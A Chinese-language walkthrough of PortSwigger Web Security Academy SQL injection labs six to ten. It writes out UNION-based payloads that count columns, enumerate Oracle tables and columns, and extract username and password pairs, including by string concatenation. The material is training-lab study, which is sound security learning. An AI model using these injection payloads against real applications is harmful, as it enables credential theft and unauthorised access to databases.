burp靶场
All labs | Web Security Academy
第六关:列出 Oracle 上的数据库内容
1.本关需要利用Oracle数据库特性,自带一张表dual
判断列
order by 3--+ 页面报错
order by 2--+ 页面未报错
说明有2列
2.爆出所有dual表中的所有表,寻找关于users的表
union select null,table_name from all_tables--+
3.爆出 'USERS_JJUFIY' 表中的所有字段,并且寻找关于username和password的字段
union select null,column_name from all_tab_columns where table_name='USERS_JJUFIY' --+
4.查询USERNAME_BDITGO和PASSWORD_OGCAMT字段中的具体数据
union select USERNAME_BDITGO,PASSWORD_OGCAMT from USERS_JJUFIY--+
5.拿着报出来的用户名和密码去登录就可以过关
第七关:确定查询返回的列
本关呢第一眼看的时候很懵,确定查询返回的列?什么意思?不知道?这个时候要是很懵那就对了,因为你习惯性的将问题复杂化,简单理解一下,确定查询返回的列,不就是确定确定有多少列吗?先确定有多少列,然后再将它以空的形式输出不就解决了吗?
话不多说,动手操作是真理
1.先确定返回的列数
order by 3--+ 页面正常
order by 2--+ 页面报错
说明有三列
可以明显的看到所展示的那么多行已经变少了
2.不要慌,他不是失踪了,将所有的列用空的方式将他展示出来,就可以轻松过关了
union select null,null,null--+
提示:本关给的提示是利用空的方式一个一个试,但是本人觉得那样浪费时间,简单化一点,直接确定它有几列,然后直接输出会快一点!
第八关:查找文本的列
有了上一关的经验,这一关不是手拿把掐嘛!
唯一不同的是查询返回的列中有一列是有文本的,而这个文本是靶场随机生成的
1.话不多说,直接用'order by'先确定它有多少列
order by 3--+ 页面正常
order by 2--+ 页面报错
order by 4--+ 页面报错
这里的列数,在页面未报错的情况下尽量在加一个数或减一个数再试一下,让值更加准确一点
2.确定了具体的列数,这个时候我们就要拿随机生成的文本一个位置一个位置的试了,因为你不确定那个位置会有文本,试的时候不要忘记用空来填补另两个列
union select 'dT92mk',null,null--+
页面报错,不是第一个
union select null,'dT92mk',null--+
页面正常,说明文本在第二个列,直接过关
第九关:从其他表中检索数据
题目中已经明确的提示了数据库包含了一个名为users的不同表,并且还包含username
和 password
的列,表,表中的字段,信息都有了,那我们就只需要,查询出表中字段的具体信息
union select username,password from users--+
直接拿着用户名跟密码去登录
第十关:检索单个列中的多个值
本关跟上一关貌似差不多,但是细心的小伙伴会发现,会有一点点的不同
1.直接先查询表中字段的所有信息
union select username,password from users--+
直接利用上一关的方式发现页面报错,没毛病啊,这个时候,冷静一下,我们仔细的看一下题目“检索单个列中的多个值”,是多个值,而我们一直查询的是列中的单个值,那么这题呢,就是我们要把多个值输出在一个列中
2.这个时候我们就需要用到拼接的方式,将输出的值看做字符串,并且拼接起来
union select null,username || '~' || password from users--+
注意:这里是以字符串的形式用~号进行拼接。||是sql中常用的字符串拼接操作符
3.拿着用户名跟密码直接去进行登录,就可以过关